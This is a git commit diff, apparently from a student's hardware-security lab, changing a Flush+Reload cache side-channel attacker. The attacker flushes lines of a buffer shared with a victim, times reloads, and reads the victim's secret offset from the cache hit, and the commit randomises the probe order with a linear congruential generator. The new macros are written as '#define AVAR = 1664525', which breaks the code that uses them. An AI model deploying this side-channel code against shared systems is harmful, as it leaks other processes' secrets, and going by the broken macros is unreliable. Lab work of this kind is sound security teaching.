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SHD-CacheAttackLab
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ver 0.4.0 new random generator

This commit is contained in:
ClF3 2024-11-04 20:38:32 +08:00
parent 4488725666
commit 5bc44b5a59
1 changed files with 8 additions and 4 deletions
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12
Part2-FlushReload/attacker.c
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@ -10,10 +10,13 @@
#define CACHE_HIT_THRESHOLD 200 #define CACHE_HIT_THRESHOLD 200
#define WAIT_TIME 1000 #define WAIT_TIME 1000
#define AVAR = 1664525
#define CVAR = 1013904223
int main() { int main() {
int index = -1; int index = -1;
int flag = -1; int flag = -1;
CYCLES time = -1; CYCLES time = -1;
int offset = 0;
// buf is shared between the attacker and the victim // buf is shared between the attacker and the victim
char *buf = allocate_shared_buffer(); char *buf = allocate_shared_buffer();
@ -22,11 +25,12 @@ int main() {
clflush((ADDR_PTR)buf + i * 128); clflush((ADDR_PTR)buf + i * 128);
} }
for(int i = 0; i < WAIT_TIME; i++); for(int i = 0; i < WAIT_TIME; i++);
for(int i = 712; i < 10000; i++) { for(int i = 0; i < 10000; i++) {
time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128); offset = (AVAR * offset + CVAR) % 1024;
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(time < CACHE_HIT_THRESHOLD) { if(time < CACHE_HIT_THRESHOLD) {
flag = (i*i) / 1024 % 1024; flag = offset;
index=i; index = i;
break; break;
} }
} }